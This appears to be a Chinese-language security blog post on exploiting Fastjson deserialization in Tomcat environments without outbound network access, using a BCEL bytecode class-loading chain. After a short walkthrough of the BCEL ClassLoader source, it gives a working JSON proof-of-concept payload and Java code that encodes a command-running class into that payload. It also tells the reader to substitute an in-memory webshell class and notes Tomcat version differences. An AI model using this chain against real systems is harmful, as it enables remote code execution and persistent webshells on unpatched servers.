Java安全之Fastjson內網利用
0x00 前言
在打Fastjson的時候,基本上都是使用JNDI注入的方式去打,也就是
JdbcRowSetImpl 鏈分析的鏈去打,但是遇到一些不出網的情況就沒辦法使用該鏈去執行命令。JdbcRowSetImpl 鏈分析
但在看到kingx師傅的一篇[Java動態類載入,當FastJson遇到內網]後,陷入了沉思。
0x01 BCEL位元組碼
這用到的是BCEL位元組碼然後使用classload進行載入。但是思考到一個問題,為什麼是使用BCEL也不是直接使用TemplatesImpl
鏈去做本地的命令執行呢?其實前文中提到過這TemplatesImpl
的漏洞觸發點會有限制。呼叫parseObject()
方法時,需要加入Feature.SupportNonPublicField
引數。
而在tomcat中的 com.sun.org.apache.bcel.internal.util.ClassLoader
的loadclass方法中可以進行bcel位元組碼的載入。
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
Class cl = null;
/* First try: lookup hash table.
*/
if((cl=(Class)classes.get(class_name)) == null) {
/* Second try: Load system class using system class loader. You better
* don't mess around with them.
*/
for(int i=0; i < ignored_packages.length; i++) {
if(class_name.startsWith(ignored_packages[i])) {
cl = deferTo.loadClass(class_name);
break;
}
}
if(cl == null) {
JavaClass clazz = null;
/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}
if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}
if(resolve)
resolveClass(cl);
}
classes.put(class_name, cl);
return cl;
}
判斷是否為$$BCEL$$
的話則呼叫createClass
方法,否則呼叫modifyClass
方法返回一個class,modifyClass
方法則是呼叫自帶的classloader來載入。
來看到createClass
方法
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);
JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");
clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}
擷取$$BCEL$$
位元組後面的內容然後進行解密,解密為class位元組碼,呼叫defineClass進行載入位元組碼。
com.sun.org.apache.bcel.internal.classfile.Utility
包中有BCEL位元組碼的解密和解密方法。
String s = Utility.encode(data,true);
byte[] bytes = Utility.decode(s, true);
0x02 利用鏈
新增tomcat依賴
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
來看到poc
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}
使用該poc載入bcel位元組碼。詳細可移步到[Java動態類載入,當FastJson遇到內網]
編寫一個test類
package com;
import java.io.IOException;
public class test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
class fj_test {
public static void main(String[] argv) throws Exception{
JavaClass cls = Repository.lookupClass(test.class);
String code = Utility.encode(cls.getBytes(), true);//轉換為位元組碼並編碼為bcel位元組碼
String poc = "{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$"+ code+ "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
System.out.println(poc);
JSON.parse(poc);
}
}
需要打記憶體馬替換為記憶體馬class即可。
在tomcat8以後和tomcat7的版本存在一點小差異
tomcat7使用的類是org.apache.tomcat.dbcp.dbcp.BasicDataSource
,而在8版本以後名為org.apache.tomcat.dbcp.dbcp2.BasicDataSource
0x03 結尾
即便如此我個人依然覺得fastjson並不能算是一個利用比較舒服的洞。而在實際中遇到更多的可能只是去進行反彈shell利用,需要使用becl必須考慮到fastjson版本問題。或在利用RMI/LDAP的話也會有JDK版本限制。